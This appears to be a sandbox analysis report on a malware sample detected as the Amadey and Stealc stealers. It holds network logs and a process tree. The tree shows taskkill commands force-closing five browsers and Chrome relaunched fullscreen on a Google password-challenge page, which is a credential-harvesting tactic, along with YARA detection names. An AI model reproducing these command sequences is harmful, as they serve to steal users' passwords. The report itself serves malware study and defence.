2024-10-07 01:23:21 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:21 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 626a0b0f-301e-006e-6de9-16f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012321Z-1657d5bbd48dfrdj7px744zp8s00000002eg00000000qv5y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:21 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	61015	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:21 UTC	192	OUT	GET /rules/rule702651v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:21 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:21 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEC600CC" x-ms-request-id: 72218525-801e-002a-7701-1731dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012321Z-1657d5bbd48p2j6x2quer0q028000000030g000000008s2a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:21 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702651" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedi

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	61013	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:21 UTC	192	OUT	GET /rules/rule702251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:21 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:21 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F427E7" x-ms-request-id: de435f0b-f01e-0052-0101-179224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012321Z-1657d5bbd48wd55zet5pcra0cg00000002vg00000000168f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:21 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="

Target ID:	0
Start time:	21:22:00
Start date:	06/10/2024
Path:	C:\Users\user\Desktop\8ObkdHP9Hq.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\8ObkdHP9Hq.exe"
Imagebase:	0x880000
File size:	1'889'792 bytes
MD5 hash:	77B69071CCC75E75A48EA59D48A55A30
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1710668999.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1750861605.0000000000881000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	21:22:03
Start date:	06/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xda0000
File size:	1'889'792 bytes
MD5 hash:	77B69071CCC75E75A48EA59D48A55A30
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1787122372.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1746151860.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:23:00
Start date:	06/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xda0000
File size:	1'889'792 bytes
MD5 hash:	77B69071CCC75E75A48EA59D48A55A30
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2313808544.0000000004C40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	21:23:10
Start date:	06/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe"
Imagebase:	0xb20000
File size:	919'040 bytes
MD5 hash:	A914737C9AF5014B7CD65B6649094707
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 00000006.00000002.2951418045.0000000001088000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 24%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	21:23:10
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xb40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:23:10
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	21:23:10
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xb40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	21:23:10
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	21:23:10
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xb40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	21:23:10
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	21:23:10
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xb40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	21:23:10
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	21:23:10
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xb40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	21:23:10
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	21:23:12
Start date:	06/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	21:23:12
Start date:	06/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2384 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	21:23:14
Start date:	06/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000336001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000336001\num.exe"
Imagebase:	0xb80000
File size:	314'368 bytes
MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000014.00000000.2430826993.0000000000B81000.00000080.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000014.00000002.2442698783.0000000000E8E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000014.00000002.2442182169.0000000000B81000.00000080.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	21:23:19
Start date:	06/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe"
Imagebase:	0xf50000
File size:	1'829'376 bytes
MD5 hash:	86FEA273D36E3F9C8221E22B937B1929
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 29%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	21:23:23
Start date:	06/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5648 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	21:23:23
Start date:	06/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5808 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	21:23:24
Start date:	06/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe"
Imagebase:	0xb20000
File size:	919'040 bytes
MD5 hash:	A914737C9AF5014B7CD65B6649094707
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 00000019.00000002.2953823488.0000000000DE8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	21:23:24
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xb40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	21:23:24
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	21:23:24
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xb40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	21:23:24
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	21:23:25
Start date:	06/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5800 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	21:23:25
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xb40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	21:23:25
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	21:23:25
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xb40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	21:23:25
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	21:23:25
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xb40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	21:23:25
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	21:23:27
Start date:	06/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	21:23:27
Start date:	06/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1152 --field-trial-handle=2040,i,8769351574913738686,7511269282204500585,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	21:23:32
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xb40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	21:23:32
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	21:23:32
Start date:	06/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4484 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	21:23:32
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xb40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	21:23:32
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	21:23:32
Start date:	06/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000336001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000336001\num.exe"
Imagebase:	0xb80000
File size:	314'368 bytes
MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
